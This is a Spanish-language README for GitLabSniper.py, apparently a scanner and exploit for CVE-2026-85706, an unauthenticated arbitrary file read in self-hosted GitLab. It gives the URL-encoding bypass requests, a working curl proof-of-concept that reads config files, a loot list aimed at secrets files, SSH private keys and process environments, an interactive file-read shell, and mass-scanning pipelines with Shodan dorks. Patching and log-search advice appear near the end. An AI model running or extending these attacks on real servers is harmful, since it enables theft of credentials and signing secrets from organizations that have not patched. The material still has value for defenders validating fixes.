
Escáner y exploit de Python en un solo archivo para CVE-2026-85706, una lectura arbitraria de archivos sin autenticación en GitLab CE/EE autogestionado, con enumeración de proyectos, rutas de loot y una shell interactiva.
CVE-2026-85706 — lectura arbitraria de archivos no autenticada en GitLab CE/EE
detección · enumeración de proyectos públicos · recolección · shell interactiva · canalización subfinder/httpx
Autor: Yunus Emre Öztaş (mitsec)
X: x.com/ynsmroztas
GitHub: github.com/ynsmroztas
Sitio:
Úsalo solo en sistemas que poseas o para los que tengas autorización explícita de prueba (bug bounty / VDP / contrato por escrito).
GitLabSniper.py es un escáner/exploit de Python en un solo archivo para CVE-2026-85706: una lectura de archivos locales no autenticada en instancias autogestionadas de GitLab Community Edition y Enterprise Edition.
No se detiene en "la versión parece afectada". Dispara el bypass de diferencial del parser de Workhorse, clasifica la respuesta de Rails y solo imprime FILE LEAK cuando el cuerpo 400 contiene los bytes del archivo dentro de invalid %-encoding (...).
| Banda | Versiones |
|---|---|
| Afectadas | 18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1 |
| Parcheadas | 19.1.8 / 19.2.6 / 19.3.2 (2026-09-10) |
| Fuera de alcance | gitlab.com · GitLab Dedicated |
Tres endpoints de repositorio están detrás del requestBodyUploader de Workhorse:
POST /api/v4/projects/:id/repository/commitsPOST /api/v4/projects/:id/repository/files/:file_pathPUT /api/v4/projects/:id/repository/files/:file_pathRails toma el campo crudo file.path y ejecuta File.open antes de authenticate!. require_gitlab_workhorse! no es una barrera real aquí: Workhorse ya estampa un JWT válido Gitlab-Workhorse-Api-Request en todo lo que proxya.
Se suponía que Workhorse reescribiría primero la subida. Su regex de ruta coincide con EscapedPath() y un clon de path.Clean que nunca decodifica porcentajes. Puma sí decodifica %XX antes del enrutado de Grape.
Atacante
POST /api/v4/projects/35/repository/%63ommits
POST /api/v4/projects/35/repository/commits/ ← la barra final también se cuela
?file=&file.path=/etc/passwd&file.size=1
&Content-Type=application/x-www-form-urlencoded
│
▼
Workhorse la regex ve "%63ommits" / "commits/" → FALLO (sin reescritura)
│
▼
Puma decodifica %63 → commits → ENRUTA a Rails
│
▼
Rails File.open(params[:file][:path]) → ANTES de auth
│
▼
Rack parse_nested_query(File.read(path))
"%" suelto que no es %HH
│
▼
HTTP 400 Invalid parameter: invalid %-encoding (<bytes crudos del archivo>)
file= en blanco satisface requires :file, WorkhorseFile (en blanco → nil). El canal de fuga es la rama urlencoded. JSON/Oj no devuelve los bytes del archivo de la misma forma — la herramienta siempre envía Content-Type=application/x-www-form-urlencoded.
//, /./, %2F y ; no evaden: path.Clean normaliza los dos primeros y Puma rechaza %2F.
El id del proyecto no es "de qué repo robar archivos". file.path es una ruta absoluta del servidor. El id es solo la pieza de la URL que llega al controlador vulnerable.
| Endpoint | Requisito de proyecto |
|---|---|
files (%66iles) | Cualquier id suele funcionar — File.open es antes de las comprobaciones de proyecto |
commits (%63ommits, commits/, commits.json) | Necesita un proyecto que un usuario anónimo pueda read_code. De lo contrario 404 Project Not Found |
Por eso la herramienta enumera GET /api/v4/projects y omite los ids restringidos.
Una fuga confirmada requiere esta subcadena en el cuerpo:
invalid %-encoding (
Los archivos sin un % solitario aún pueden abrirse (read-noecho / más tarde branch is required) pero no se reflejarán. Eso es un oráculo, no un volcado reportable.
x-gitlab-* / sign-in) + rango de versión cuando es visibleGET /api/v4/projects)1..7)%63ommits · %72epository · %66iles/ · .jsonleak · leak-fragment · read-noecho · missing · project-gate · rewrite · noroute--auto (hostname, passwd, secrets.yml, gitlab-secrets.json, gitlab.rb, database.yml, claves ssh, environ)cat, loot, secrets, passwd, project <id>, curl)httpx -sc -td -title, httpx -json, ANSI eliminado-o)pip install requests
python3 GitLabSniper.py -h
Python 3.10+. Sin otras dependencias.
python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto
python3 GitLabSniper.py -u https://gitlab.example.com --shell
[email protected]> help
[email protected]> cat /etc/passwd
[email protected]> secrets
[email protected]> loot
[email protected]> project 35
[email protected]> curl /etc/gitlab/gitlab.rb
[email protected]> exit
subfinder -d example.com -silent \
| httpx -silent -sc -td -title \
| python3 GitLabSniper.py --pipe --auto -o hits.jsonl
subfinder -d example.com -silent \
| httpx -silent -json \
| python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl
# stdin no es un TTY → --pipe está implícito
cat hosts.txt | python3 GitLabSniper.py --auto
El parser acepta:
https://gitlab.example.comhttps://gitlab.example.com [200] [GitLab] [nginx]httpx -json (url / status_code)host y host:port sin formato[0] / timeout / vacías| Opción | Significado |
|---|---|
-u / -t / --target | URL base única |
--pipe | Leer objetivos desde stdin |
-f / --list | Archivo de hosts |
--file | Una ruta absoluta a leer |
--auto / --loot | Lista de archivos de alto valor de GitLab |
--shell | Shell interactiva de lectura de archivos |
--project-id | Forzar id de proyecto (por defecto: enum + fallback) |
--max-projects | Limitar ids de enum/fallback (por defecto 8) |
--force | Escanear aunque el fingerprint sea débil |
--threads | Workers de la canalización (por defecto 8) |
--timeout | Segundos (por defecto 15) |
-o | hits.json o hits.jsonl |
-q | Silencioso |
--no-banner | Sin banner |
Códigos de salida: 0 fuga · 1 solo oráculo / sin fuga en pipe · 2 sin señal utilizable.
| Etiqueta | Significado | ¿Reportar? |
|---|---|---|
leak | invalid %-encoding ( + bytes del archivo | Sí — confirmado |
leak-fragment | Eco parcial | Quizá, adjuntar cuerpo |
read-noecho | 401 / branch is required tras abrir, sin % en el archivo | Solo oráculo |
missing | local file not present — el bypass llegó al disco | Oráculo de existencia |
project-gate | 404 Project Not Found | Probar otro id público |
rewrite | Workhorse reescribió el cuerpo (Invalid json) | Esta forma está muerta |
noroute | 404 simple | Parcheado o ruta incorrecta |
other | 500 / sobrante | Volcar el cuerpo antes de afirmar |
No presentes un crítico basándote solo en read-noecho.
/etc/hostname
/etc/passwd
/etc/os-release
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml
/opt/gitlab/embedded/service/gitlab-rails/config/database.yml
/etc/gitlab/gitlab-secrets.json
/etc/gitlab/gitlab.rb
/var/opt/gitlab/gitlab-rails/etc/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/initializers/secret_token.rb
/root/.ssh/id_rsa
/var/opt/gitlab/.ssh/id_rsa
/proc/self/environ
Mayor impacto cuando se reflejan: secrets.yml, gitlab-secrets.json, database.yml (secret_key_base, otp_key_base, contraseña de la BD).
curl -sk -X POST \
"https://gitlab.example.com/api/v4/projects/35/repository/commits/?file=&file.path=%2Fopt%2Fgitlab%2Fembedded%2Fservice%2Fgitlab-rails%2Fconfig%2Fgitlab.yml&file.size=1&Content-Type=application/x-www-form-urlencoded"
Una instancia vulnerable devuelve un JSON similar a:
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (## GitLab settings\n gitlab:\n host: gitlab.example.com\n ... )"}
En algunos hosts %63ommits devuelve 401 y /repository/commits/ (barra final) es la forma que filtra. La herramienta recorre todas las variantes.
http.html:"GitLab" http.status:200
http.html:"Sign in · GitLab"
ssl:"gitlab" port:443
"X-Gitlab-"
Combínalo con subfinder | httpx | GitLabSniper.py --pipe --auto.
Este repositorio es para pruebas de seguridad autorizadas y validación defensiva tras el parcheo. Tú eres responsable del alcance.
Si operas una instancia autogestionada de GitLab en el rango afectado: actualiza a 19.1.8 / 19.2.6 / 19.3.2 ahora. Busca en los logs de acceso POST /api/v4/projects/*/repository/commits con un parámetro de consulta file.path.
Vulnerabilidad reportada por s3ntago a través de GitLab HackerOne.
Write-up y PoC original sobre el que se construye esta herramienta:
Gracias a guneykabel por publicar un clasificador claro (leak / missing / project-gate / rewrite) y la explicación del diferencial Workhorse ↔ Puma. GitLabSniper envuelve ese modelo con enumeración de proyectos, recolección, shell y canalizaciones de reconocimiento.
Aviso / parches de GitLab: CE/EE 19.1.8, 19.2.6, 19.3.2.
Yunus Emre Öztaş · mitsec
[email protected]